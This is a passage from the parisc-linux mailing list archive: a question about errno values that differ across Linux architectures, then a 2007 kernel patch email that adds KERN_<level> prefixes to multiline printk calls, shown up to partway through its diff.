18:16 ichi:../linux-2.6.23/include > grep -r ENODATA .
./asm-alpha/errno.h:#define     ENODATA         86      /* No data available */
./asm-generic/errno.h:#define   ENODATA         61      /* No data available */
./asm-mips/errno.h:#define      ENODATA         61      /* No data available */
./asm-parisc/errno.h:#define    ENODATA         51      /* No data available */
./asm-sparc/errno.h:#define     ENODATA         111     /* No data available */
./asm-sparc/solerrno.h:#define  SOL_ENODATA        61    /* No data avail at this time       */
./asm-sparc64/errno.h:#define   ENODATA         111     /* No data available */
./asm-sparc64/solerrno.h:#define        SOL_ENODATA        61    /* No data avail at this time       */

Why do these architectures deviate from asm-generic? In fact,

./asm-alpha/errno.h:#define     ECONNREFUSED    61      /* Connection refused */
./asm-generic/errno.h:#define   ECONNREFUSED    111     /* Connection refused */
./asm-sparc/errno.h:#define     ECONNREFUSED    61      /* Connection refused */
./asm-sparc64/errno.h:#define   ECONNREFUSED    61      /* Connection refused */

the values are exactly swapped (mips is another oddball not portrayed 
here). Since these header files propagate into /usr/include, this 
affects userspace programs too.

So I'm just asking: can I rely on the same errno across Linuxes?
And should the errno values be fixed up?



	Jan
-- 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Prefix each line of multiline
	printk(KERN_<level>	"foo\nbar") with KERN_<level>
Date: Fri, 24 Aug 2007 16:44:58 -0700
Lines: 941
Approved: news@gmane.org
Message-ID: <1187999098.32738.179.camel__28874.5901351378$1416624641$gmane$org@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624641 28482 80.91.229.3 (22 Nov 2014 02:50:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:41 +0000 (UTC)
Cc: discuss@x86-64.org,
 linux-scsi@vger.kernel.org,
 linux-ide@vger.kernel.org,
 netdev@vger.kernel.org,
 cluster-devel@redhat.com,
 linux-acpi@vger.kernel.org,
 tpmdd-devel@lists.sourceforge.net,
 linux-mips@linux-mips.org,
 jffs-dev@axis.com,
 mpt_linux_developer@lsi.com,
 blinux-list@redhat.com,
 uclinux-dist-devel@blackfin.uclinux.org,
 osst-users@lists.sourceforge.net,
 linux-mm@kvack.org,
 linux-mtd@lists.infradead.org,
 parisc-linux@parisc-linux.org
To: linux-kernel@vger.kernel.org
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Aug 2007 16:04:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 26 Aug 2007 18:04:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C0C67DAF6;
	Sun, 26 Aug 2007 10:04:48 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id zmd7P6g1qwRw; Sun, 26 Aug 2007 10:04:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E86C7DAF8;
	Sun, 26 Aug 2007 10:02:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B912D7D7D8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Aug 2007 18:58:27 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id vR9d5IpO9YY3 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Aug 2007 18:58:14 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E430B7D7D0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Aug 2007 18:58:13 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 7CD72494007; Fri, 24 Aug 2007 18:58:13 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
X-Greylist: delayed 613 seconds by postgrey-1.27 at palinux;
	Fri, 24 Aug 2007 18:58:12 MDT
Original-Received: from fmsmga101.fm.intel.com (mga05.intel.com [192.55.52.89])
	by mail.parisc-linux.org (Postfix) with ESMTP id 8FF69494006
	for <parisc-linux@parisc-linux.org>;
	Fri, 24 Aug 2007 18:58:12 -0600 (MDT)
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
	by fmsmga101.fm.intel.com with ESMTP; 24 Aug 2007 17:47:55 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.19,305,1183359600"; d="scan'208";a="287888678"
Original-Received: from fmsmsx333.amr.corp.intel.com ([132.233.42.2])
	by fmsmga001.fm.intel.com with ESMTP; 24 Aug 2007 17:47:54 -0700
Original-Received: from mail pickup service by fmsmsx333.amr.corp.intel.com with
	Microsoft SMTPSVC; Fri, 24 Aug 2007 17:47:53 -0700
Original-Received: from azsmsx333.amr.corp.intel.com ([10.2.121.77]) by
	fmsmsx333.amr.corp.intel.com with Microsoft SMTPSVC(6.0.3790.1830); 
	Fri, 24 Aug 2007 16:47:10 -0700
Original-Received: from azsmga001.ch.intel.com ([10.2.17.19]) by
	azsmsx333.amr.corp.intel.com with Microsoft SMTPSVC(6.0.3790.1830); 
	Fri, 24 Aug 2007 16:47:09 -0700
Original-Received: from mail.actwin.com (HELO azsmga101.ch.intel.com) ([64.95.77.249])
	by azsmga001-1.ch.intel.com with ESMTP; 24 Aug 2007 16:47:00 -0700
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AgAAAJYKz0bR2VAon2dsb2JhbACODgEBAQEHBAYHCBg
X-IronPort-AV: E=Sophos;i="4.19,305,1183359600"; d="scan'208";a="144671081"
Original-Received: from canuck.infradead.org ([209.217.80.40])
	by mga03.intel.com with ESMTP; 24 Aug 2007 16:47:08 -0700
Original-Received: from localhost ([127.0.0.1] helo=canuck.infradead.org)
	by canuck.infradead.org with esmtp (Exim 4.63 #1 (Red Hat Linux))
	id 1IOirj-0007U0-34; Fri, 24 Aug 2007 19:46:59 -0400
Original-Received: from dsl022.labridge.com ([206.117.136.22] helo=perches.com)
	by canuck.infradead.org with esmtp (Exim 4.63 #1 (Red Hat Linux))
	id 1IOiqg-0007Tp-BD
	for linux-mtd@lists.infradead.org; Fri, 24 Aug 2007 19:46:05 -0400
Original-Received: from [192.168.1.128] ([192.168.1.128])
	by perches.com (8.9.3/8.9.3) with ESMTP id RAA03702;
	Fri, 24 Aug 2007 17:03:18 -0700
X-Mailer: Evolution 2.10.2-2.1mdv2007.1 
X-BeenThere: linux-mtd@lists.infradead.org
X-Mailman-Version: 2.1.9
Precedence: list
X-OriginalArrivalTime: 24 Aug 2007 23:47:09.0911 (UTC)
	FILETIME=[162ABE70:01C7E6A9]
X-Mailman-Approved-At: Sun, 26 Aug 2007 10:02:23 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: k5LicrFnTXs8bKyRbmQ57F1KRzdyMkPv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25443

Corrected printk calls with multiple output lines which
did not correctly preface each line with KERN_<level>

Fixed uses of some single lines with too many KERN_<level>

Please pull from:
git://repo.or.cz/linux-2.6/trivial-mods.git pr_newlines

Signed-off-by: Joe Perches <joe@perches.com>

 arch/arm/kernel/ecard.c                  |    3 ++-
 arch/blackfin/kernel/dualcore_test.c     |    3 ++-
 arch/blackfin/kernel/traps.c             |    4 +++-
 arch/h8300/kernel/setup.c                |    4 +++-
 arch/i386/kernel/io_apic.c               |    3 ++-
 arch/m68knommu/kernel/setup.c            |    4 +++-
 arch/m68knommu/kernel/traps.c            |    5 +++--
 arch/m68knommu/mm/init.c                 |    9 ++++++---
 arch/m68knommu/platform/68328/config.c   |    3 ++-
 arch/m68knommu/platform/68360/config.c   |    3 ++-
 arch/m68knommu/platform/68EZ328/config.c |    3 ++-
 arch/mips/vr41xx/common/pmu.c            |    9 ++++++---
 arch/parisc/kernel/traps.c               |    3 ++-
 arch/parisc/math-emu/driver.c            |    5 +++--
 arch/v850/kernel/setup.c                 |    6 ++++--
 arch/x86_64/kernel/io_apic.c             |    3 ++-
 arch/x86_64/kernel/mpparse.c             |    3 ++-
 drivers/acpi/acpi_memhotplug.c           |    3 ++-
 drivers/char/dtlk.c                      |    3 ++-
 drivers/char/tpm/tpm_bios.c              |    2 +-
 drivers/ide/ide-cd.c                     |    3 ++-
 drivers/input/serio/hil_mlc.c            |    2 +-
 drivers/message/fusion/mptlan.c          |    3 ++-
 drivers/mtd/maps/cdb89712.c              |    5 ++++-
 drivers/net/cs89x0.c                     |    2 +-
 drivers/net/dgrs.c                       |    3 ++-
 drivers/net/wireless/arlan-main.c        |    2 +-
 drivers/net/wireless/arlan-proc.c        |   19 ++++++++++---------
 drivers/parisc/led.c                     |    3 ++-
 drivers/scsi/aha152x.c                   |   16 +++++++++++-----
 drivers/scsi/dpt_i2o.c                   |    3 ++-
 drivers/scsi/mac_scsi.c                  |    3 ++-
 drivers/scsi/megaraid.c                  |    3 ++-
 drivers/scsi/megaraid/megaraid_sas.c     |   25 ++++++++++++++++---------
 drivers/scsi/osst.c                      |    3 ++-
 drivers/scsi/zalon.c                     |    2 +-
 drivers/video/savage/savagefb_driver.c   |   21 ++++++++++++---------
 fs/dlm/dlm_internal.h                    |    9 +++++----
 fs/freevxfs/vxfs_bmap.c                  |    8 ++++++--
 fs/jffs2/wbuf.c                          |    3 ++-
 mm/slub.c                                |   18 ++++++++++++------
 41 files changed, 152 insertions(+), 85 deletions(-)

diff --git a/arch/arm/kernel/ecard.c b/arch/arm/kernel/ecard.c
index f56d48c..6402ad2 100644
--- a/arch/arm/kernel/ecard.c
+++ b/arch/arm/kernel/ecard.c
@@ -547,7 +547,8 @@ static void ecard_check_lockup(struct irq_desc *desc)
 	if (last == jiffies) {
 		lockup += 1;
 		if (lockup > 1000000) {
-			printk(KERN_ERR "\nInterrupt lockup detected - "
+			printk(KERN_ERR "\n"
+			       KERN_ERR "Interrupt lockup detected - "
 			       "disabling all expansion card interrupts\n");
 
 			desc->chip->mask(IRQ_EXPANSIONCARD);
diff --git a/arch/blackfin/kernel/dualcore_test.c b/arch/blackfin/kernel/dualcore_test.c
index 0fcba74..3c94199 100644
--- a/arch/blackfin/kernel/dualcore_test.c
+++ b/arch/blackfin/kernel/dualcore_test.c
@@ -35,7 +35,8 @@ static int *testarg = (int *)0xfeb00000;
 static int test_init(void)
 {
 	*testarg = 1;
-	printk(KERN_INFO "Dual core test module inserted: set testarg = [%d]\n @ [%p]\n",
+	printk(KERN_INFO "Dual core test module inserted: set testarg = [%d]\n"
+	       KERN_INFO "@ [%p]\n",
 	       *testarg, testarg);
 	return 0;
 }
diff --git a/arch/blackfin/kernel/traps.c b/arch/blackfin/kernel/traps.c
index 792a841..9255012 100644
--- a/arch/blackfin/kernel/traps.c
+++ b/arch/blackfin/kernel/traps.c
@@ -351,7 +351,9 @@ asmlinkage void trap_c(struct pt_regs *fp)
 		info.si_code = ILL_CPLB_MULHIT;
 #ifdef CONFIG_DEBUG_HUNT_FOR_ZERO
 		sig = SIGSEGV;
-		printk(KERN_EMERG "\n\nJump to address 0 - 0x0fff\n");
+		printk(KERN_EMERG "\n"
+		       KERN_EMERG "\n"
+		       KERN_EMERG "Jump to address 0 - 0x0fff\n");
 #else
 		sig = SIGILL;
 		printk(KERN_EMERG EXC_0x2D);
diff --git a/arch/h8300/kernel/setup.c b/arch/h8300/kernel/setup.c
index b2e86d0..cb45404 100644
--- a/arch/h8300/kernel/setup.c
+++ b/arch/h8300/kernel/setup.c
@@ -127,7 +127,9 @@ void __init setup_arch(char **cmdline_p)
 	register_console((struct console *)&gdb_console);
 #endif
 
-	printk(KERN_INFO "\r\n\nuClinux " CPU "\n");
+	printk(KERN_INFO "\r\n"
+	       KERN_INFO "\n"
+	       KERN_INFO "uClinux " CPU "\n");
 	printk(KERN_INFO "Target Hardware: %s\n",_target_name);
 	printk(KERN_INFO "Flat model support (C) 1998,1999 Kenneth Albanowski, D. Jeff Dionne\n");
 	printk(KERN_INFO "H8/300 series support by Yoshinori Sato <ysato@users.sourceforge.jp>\n");
diff --git a/arch/i386/kernel/io_apic.c b/arch/i386/kernel/io_apic.c
index 4b8a8da..856f127 100644
--- a/arch/i386/kernel/io_apic.c
+++ b/arch/i386/kernel/io_apic.c
@@ -1618,7 +1618,8 @@ void /*__init*/ print_PIC(void)
 	if (apic_verbosity == APIC_QUIET)
 		return;
 
-	printk(KERN_DEBUG "\nprinting PIC contents\n");
+	printk(KERN_DEBUG "\n"
+	       KERN_DEBUG "printing PIC contents\n");
 
 	spin_lock_irqsave(&i8259A_lock, flags);
 
diff --git a/arch/m68knommu/kernel/setup.c b/arch/m68knommu/kernel/setup.c
index 3f86ade..7c0dd75 100644
--- a/arch/m68knommu/kernel/setup.c
+++ b/arch/m68knommu/kernel/setup.c
@@ -135,7 +135,9 @@ void setup_arch(char **cmdline_p)
 	command_line[sizeof(command_line) - 1] = 0;
 #endif
 
-	printk(KERN_INFO "\x0F\r\n\nuClinux/" CPU "\n");
+	printk(KERN_INFO "\x0F\r\n"
+	       KERN_INFO "\n"
+	       KERN_INFO "uClinux/" CPU "\n");
 
 #ifdef CONFIG_UCDIMM
 	printk(KERN_INFO "uCdimm by Lineo, Inc. <www.lineo.com>\n");
diff --git a/arch/m68knommu/kernel/traps.c b/arch/m68knommu/kernel/traps.c
index 437a061..a66c348 100644
--- a/arch/m68knommu/kernel/traps.c
+++ b/arch/m68knommu/kernel/traps.c
@@ -71,8 +71,9 @@ void die_if_kernel(char *str, struct pt_regs *fp, int nr)
 
 	console_verbose();
 	printk(KERN_EMERG "%s: %08x\n",str,nr);
-	printk(KERN_EMERG "PC: [<%08lx>]\nSR: %04x  SP: %p  a2: %08lx\n",
-	       fp->pc, fp->sr, fp, fp->a2);
+	printk(KERN_EMERG "PC: [<%08lx>]\n", fp->pc);
+	printk(KERN_EMERG "SR: %04x  SP: %p  a2: %08lx\n",
+	       fp->sr, fp, fp->a2);
 	printk(KERN_EMERG "d0: %08lx    d1: %08lx    d2: %08lx    d3: %08lx\n",
 	       fp->d0, fp->d1, fp->d2, fp->d3);
 	printk(KERN_EMERG "d4: %08lx    d5: %08lx    a0: %08lx    a1: %08lx\n",
diff --git a/arch/m68knommu/mm/init.c b/arch/m68knommu/mm/init.c
index 06e538d..970f1a1 100644
--- a/arch/m68knommu/mm/init.c
+++ b/arch/m68knommu/mm/init.c
@@ -68,7 +68,8 @@ void show_mem(void)
     int free = 0, total = 0, reserved = 0, shared = 0;
     int cached = 0;
 
-    printk(KERN_INFO "\nMem-info:\n");
+    printk(KERN_INFO "\n"
+	   KERN_INFO "Mem-info:\n");
     show_free_areas();
     i = max_mapnr;
     while (i-- > 0) {
@@ -110,7 +111,8 @@ void paging_init(void)
 	unsigned long end_mem   = memory_end & PAGE_MASK;
 
 #ifdef DEBUG
-	printk (KERN_DEBUG "start_mem is %#lx\nvirtual_end is %#lx\n",
+	printk (KERN_DEBUG "start_mem is %#lx\n"
+		KERN_DEBUG "virtual_end is %#lx\n",
 		start_mem, end_mem);
 #endif
 
@@ -131,7 +133,8 @@ void paging_init(void)
 #ifdef DEBUG
 	printk (KERN_DEBUG "before free_area_init\n");
 
-	printk (KERN_DEBUG "free_area_init -> start_mem is %#lx\nvirtual_end is %#lx\n",
+	printk (KERN_DEBUG "free_area_init -> start_mem is %#lx\n"
+		KERN_DEBUG "virtual_end is %#lx\n",
 		start_mem, end_mem);
 #endif
 
diff --git a/arch/m68knommu/platform/68328/config.c b/arch/m68knommu/platform/68328/config.c
index e5c537d..07c73c9 100644
--- a/arch/m68knommu/platform/68328/config.c
+++ b/arch/m68knommu/platform/68328/config.c
@@ -55,7 +55,8 @@ void m68328_reset (void)
 
 void config_BSP(char *command, int len)
 {
-  printk(KERN_INFO "\n68328 support D. Jeff Dionne <jeff@uclinux.org>\n");
+  printk(KERN_INFO "\n"
+	 KERN_INFO "68328 support D. Jeff Dionne <jeff@uclinux.org>\n");
   printk(KERN_INFO "68328 support Kenneth Albanowski <kjahds@kjshds.com>\n");
   printk(KERN_INFO "68328/Pilot support Bernhard Kuhn <kuhn@lpr.e-technik.tu-muenchen.de>\n");
 
diff --git a/arch/m68knommu/platform/68360/config.c b/arch/m68knommu/platform/68360/config.c
index 155b72f..2392fc0 100644
--- a/arch/m68knommu/platform/68360/config.c
+++ b/arch/m68knommu/platform/68360/config.c
@@ -183,7 +183,8 @@ void config_BSP(char *command, int len)
      }
   }
 
-  printk(KERN_INFO "\n68360 QUICC support (C) 2000 Lineo Inc.\n");
+  printk(KERN_INFO "\n"
+	 KERN_INFO "68360 QUICC support (C) 2000 Lineo Inc.\n");
 
 #if defined(CONFIG_UCQUICC) && 0
   printk(KERN_INFO "uCquicc serial string [%s]\n",getserialnum());
diff --git a/arch/m68knommu/platform/68EZ328/config.c b/arch/m68knommu/platform/68EZ328/config.c
index ab36551..f344edf 100644
--- a/arch/m68knommu/platform/68EZ328/config.c
+++ b/arch/m68knommu/platform/68EZ328/config.c
@@ -66,7 +66,8 @@ void config_BSP(char *command, int len)
 {
   unsigned char *p;
 
-  printk(KERN_INFO "\n68EZ328 DragonBallEZ support (C) 1999 Rt-Control, Inc\n");
+  printk(KERN_INFO "\n"
+	 KERN_INFO "68EZ328 DragonBallEZ support (C) 1999 Rt-Control, Inc\n");
 
 #ifdef CONFIG_UCSIMM
   printk(KERN_INFO "uCsimm serial string [%s]\n",getserialnum());
diff --git a/arch/mips/vr41xx/common/pmu.c b/arch/mips/vr41xx/common/pmu.c
index 5e46979..ada7f15 100644
--- a/arch/mips/vr41xx/common/pmu.c
+++ b/arch/mips/vr41xx/common/pmu.c
@@ -65,21 +65,24 @@ static void vr41xx_restart(char *command)
 {
 	local_irq_disable();
 	software_reset();
-	printk(KERN_NOTICE "\nYou can reset your system\n");
+	printk(KERN_NOTICE "\n"
+	       KERN_NOTICE "You can reset your system\n");
 	while (1) ;
 }
 
 static void vr41xx_halt(void)
 {
 	local_irq_disable();
-	printk(KERN_NOTICE "\nYou can turn off the power supply\n");
+	printk(KERN_NOTICE "\n"
+	       KERN_NOTICE "You can turn off the power supply\n");
 	while (1) ;
 }
 
 static void vr41xx_power_off(void)
 {
 	local_irq_disable();
-	printk(KERN_NOTICE "\nYou can turn off the power supply\n");
+	printk(KERN_NOTICE "\n"
+	       KERN_NOTICE "You can turn off the power supply\n");
 	while (1) ;
 }
 
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index bbf029a..6a29d4c 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -746,7 +746,8 @@ void handle_interruption(int code, struct pt_regs *regs)
 	default:
 		if (user_mode(regs)) {
 #ifdef PRINT_USER_FAULTS
-			printk(KERN_DEBUG "\nhandle_interruption() pid=%d command='%s'\n",
+			printk(KERN_DEBUG "\n"
+			       KERN_DEBUG "handle_interruption() pid=%d command='%s'\n",
 			    current->pid, current->comm);
 			show_regs(regs);
 #endif
diff --git a/arch/parisc/math-emu/driver.c b/arch/parisc/math-emu/driver.c
index 09ef413..534ce20 100644
--- a/arch/parisc/math-emu/driver.c
+++ b/arch/parisc/math-emu/driver.c
@@ -98,9 +98,10 @@ handle_fpe(struct pt_regs *regs)
 	memcpy(&orig_sw, frcopy, sizeof(orig_sw));
 
 	if (FPUDEBUG) {
-		printk(KERN_DEBUG "FP VZOUICxxxxCQCQCQCQCQCRMxxTDVZOUI ->\n   ");
+		printk(KERN_DEBUG "FP VZOUICxxxxCQCQCQCQCQCRMxxTDVZOUI ->\n"
+		       KERN_DEBUG "   ");
 		printbinary(orig_sw, 32);
-		printk(KERN_DEBUG "\n");
+		printk("\n");
 	}
 
 	signalcode = decode_fpu(frcopy, 0x666);
diff --git a/arch/v850/kernel/setup.c b/arch/v850/kernel/setup.c
index a914f24..35cf93a 100644
--- a/arch/v850/kernel/setup.c
+++ b/arch/v850/kernel/setup.c
@@ -79,7 +79,8 @@ void __init setup_arch (char **cmdline)
 	/* ... and tell the kernel about it.  */
 	init_mem_alloc (ram_start, ram_len);
 
-	printk (KERN_INFO "CPU: %s\nPlatform: %s\n",
+	printk (KERN_INFO "CPU: %s\n"
+		KERN_INFO "Platform: %s\n",
 		CPU_MODEL_LONG, PLATFORM_LONG);
 
 	/* do machine-specific setups.  */
@@ -304,7 +305,8 @@ void show_mem(void)
     int free = 0, total = 0, reserved = 0, shared = 0;
     int cached = 0;
 
-    printk(KERN_INFO "\nMem-info:\n");
+    printk(KERN_INFO "\n"
+	   KERN_INFO "Mem-info:\n");
     show_free_areas();
     i = max_mapnr;
     while (i-- > 0) {
diff --git a/arch/x86_64/kernel/io_apic.c b/arch/x86_64/kernel/io_apic.c
index f57f8b9..6b2c8a3 100644
--- a/arch/x86_64/kernel/io_apic.c
+++ b/arch/x86_64/kernel/io_apic.c
@@ -1142,7 +1142,8 @@ void __apicdebuginit print_PIC(void)
 	if (apic_verbosity == APIC_QUIET)
 		return;
 
-	printk(KERN_DEBUG "\nprinting PIC contents\n");
+	printk(KERN_DEBUG "\n"
+	       KERN_DEBUG "printing PIC contents\n");
 
 	spin_lock_irqsave(&i8259A_lock, flags);
 
diff --git a/arch/x86_64/kernel/mpparse.c b/arch/x86_64/kernel/mpparse.c
index 8bf0ca0..d32e640 100644
--- a/arch/x86_64/kernel/mpparse.c
+++ b/arch/x86_64/kernel/mpparse.c
@@ -411,7 +411,8 @@ static inline void __init construct_default_ISA_mptable(int mpc_default_type)
 	bus.mpc_busid = 0;
 	switch (mpc_default_type) {
 		default:
-			printk(KERN_ERR "???\nUnknown standard configuration %d\n",
+			printk(KERN_ERR "\n"
+			       KERN_ERR "???Unknown standard configuration %d\n",
 				mpc_default_type);
 			/* fall through */
 		case 1:
diff --git a/drivers/acpi/acpi_memhotplug.c b/drivers/acpi/acpi_memhotplug.c
index 5f1127a..61e51ca 100644
--- a/drivers/acpi/acpi_memhotplug.c
+++ b/drivers/acpi/acpi_memhotplug.c
@@ -185,7 +185,8 @@ acpi_memory_get_device(acpi_handle handle,
       end:
 	*mem_device = acpi_driver_data(device);
 	if (!(*mem_device)) {
-		printk(KERN_ERR "\n driver data not found");
+		printk(KERN_ERR "\n"
+		       KERN_ERR "driver data not found");
 		return -ENODEV;
 	}
 
diff --git a/drivers/char/dtlk.c b/drivers/char/dtlk.c
index abde6dd..0bf01c6 100644
--- a/drivers/char/dtlk.c
+++ b/drivers/char/dtlk.c
@@ -495,7 +495,8 @@ for (i = 0; i < 10; i++)			\
 /*
    static void dtlk_handle_error(char op, char rc, unsigned int minor)
    {
-   printk(KERN_INFO"\nDoubleTalk PC - MINOR: %d, OPCODE: %d, ERROR: %d\n", 
+   printk(KERN_INFO "\n"
+          KERN_INFO "DoubleTalk PC - MINOR: %d, OPCODE: %d, ERROR: %d\n", 
    minor, op, rc);
    return;
    }
diff --git a/drivers/char/tpm/tpm_bios.c b/drivers/char/tpm/tpm_bios.c
index 60a2d26..c0b4fa1 100644
--- a/drivers/char/tpm/tpm_bios.c
+++ b/drivers/char/tpm/tpm_bios.c
@@ -321,7 +321,7 @@ static int tpm_ascii_bios_measurements_show(struct seq_file *m, void *v)
 
 	eventname = kmalloc(MAX_TEXT_EVENT, GFP_KERNEL);
 	if (!eventname) {
-		printk(KERN_ERR "%s: ERROR - No Memory for event name\n ",
+		printk(KERN_ERR "%s: ERROR - No Memory for event name\n",
 		       __func__);
 		return -EFAULT;
 	}
diff --git a/drivers/ide/ide-cd.c b/drivers/ide/ide-cd.c
index ca84352..31fcbe8 100644
--- a/drivers/ide/ide-cd.c
+++ b/drivers/ide/ide-cd.c
@@ -541,7 +541,8 @@ void cdrom_analyze_sense_data(ide_drive_t *drive,
 					lo = mid+1;
 			}
 
-			printk (KERN_ERR "  The failed \"%s\" packet command was: \n  \"", s);
+			printk (KERN_ERR "  The failed \"%s\" packet command was:\n"
+				KERN_ERR "  \"", s);
 			for (i=0; i<sizeof (failed_command->cmd); i++)
 				printk ("%02x ", failed_command->cmd[i]);
 			printk ("\"\n");
diff --git a/drivers/input/serio/hil_mlc.c b/drivers/input/serio/hil_mlc.c
index 93a1a6b..ef31148 100644
--- a/drivers/input/serio/hil_mlc.c
+++ b/drivers/input/serio/hil_mlc.c
@@ -625,7 +625,7 @@ static int hilse_donode(hil_mlc *mlc)
 #ifdef HIL_MLC_DEBUG
 	if (mlc->seidx && mlc->seidx != seidx &&
 	    mlc->seidx != 41 && mlc->seidx != 42 && mlc->seidx != 43) {
-		printk(KERN_DEBUG PREFIX "z%i \n {%i}", doze, mlc->seidx);
+		printk(KERN_DEBUG PREFIX "z%i\t{%i}\n", doze, mlc->seidx);
 		doze = 0;
 	}
 
diff --git a/drivers/message/fusion/mptlan.c b/drivers/message/fusion/mptlan.c
index 01fc397..59df21e 100644
--- a/drivers/message/fusion/mptlan.c
+++ b/drivers/message/fusion/mptlan.c
@@ -1318,7 +1318,8 @@ mpt_lan_post_receive_buckets(struct mpt_lan_priv *priv)
 
 		pRecvReq->BucketCount = cpu_to_le32(i);
 
-/*	printk(KERN_INFO MYNAM ": posting buckets\n   ");
+/*	printk(KERN_INFO MYNAM ": posting buckets\n");
+ *	printk(KERN_INFO "   ");
  *	for (i = 0; i < j + 2; i ++)
  *	    printk (" %08x", le32_to_cpu(msg[i]));
  *	printk ("\n");
diff --git a/drivers/mtd/maps/cdb89712.c b/drivers/mtd/maps/cdb89712.c
index 9f17bb6..2a15cc9 100644
--- a/drivers/mtd/maps/cdb89712.c
+++ b/drivers/mtd/maps/cdb89712.c
@@ -225,7 +225,10 @@ out:
 static int __init init_cdb89712_maps(void)
 {
 
-       	printk(KERN_INFO "Cirrus CDB89712 MTD mappings:\n  Flash 0x%x at 0x%x\n  SRAM 0x%x at 0x%x\n  BootROM 0x%x at 0x%x\n",
+	printk(KERN_INFO "Cirrus CDB89712 MTD mappings:\n"
+	       KERN_INFO "  Flash 0x%x at 0x%x\n"
+	       KERN_INFO "  SRAM 0x%x at 0x%x\n"
+	       KERN_INFO "  BootROM 0x%x at 0x%x\n",
 	       FLASH_SIZE, FLASH_START, SRAM_SIZE, SRAM_START, BOOTROM_SIZE, BOOTROM_START);
 
 	init_cdb89712_flash();
diff --git a/drivers/net/cs89x0.c b/drivers/net/cs89x0.c
index 9774bb1..536d29f 100644
--- a/drivers/net/cs89x0.c
+++ b/drivers/net/cs89x0.c
@@ -731,7 +731,7 @@ cs89x0_probe1(struct net_device *dev, int ioaddr, int modular)
 	if ((readreg(dev, PP_SelfST) & EEPROM_PRESENT) == 0)
 		printk(KERN_WARNING "cs89x0: No EEPROM, relying on command line....\n");
 	else if (get_eeprom_data(dev, START_EEPROM_DATA,CHKSUM_LEN,eeprom_buff) < 0) {
-		printk(KERN_WARNING "\ncs89x0: EEPROM read failed, relying on command line.\n");
+		printk(KERN_WARNING "cs89x0: EEPROM read failed, relying on command line.\n");
         } else if (get_eeprom_cksum(START_EEPROM_DATA,CHKSUM_LEN,eeprom_buff) < 0) {
 		/* Check if the chip was able to read its own configuration starting
 		   at 0 in the EEPROM*/
diff --git a/drivers/net/dgrs.c b/drivers/net/dgrs.c
index df62c02..28c7bc9 100644
--- a/drivers/net/dgrs.c
+++ b/drivers/net/dgrs.c
@@ -1583,7 +1583,8 @@ static int __init dgrs_init_module (void)
 
 	if (dgrs_debug)
 	{
-		printk(KERN_INFO "dgrs: SW=%s FW=Build %d %s\nFW Version=%s\n",
+		printk(KERN_INFO "dgrs: SW=%s FW=Build %d %s\n"
+		       KERN_INFO "FW Version=%s\n",
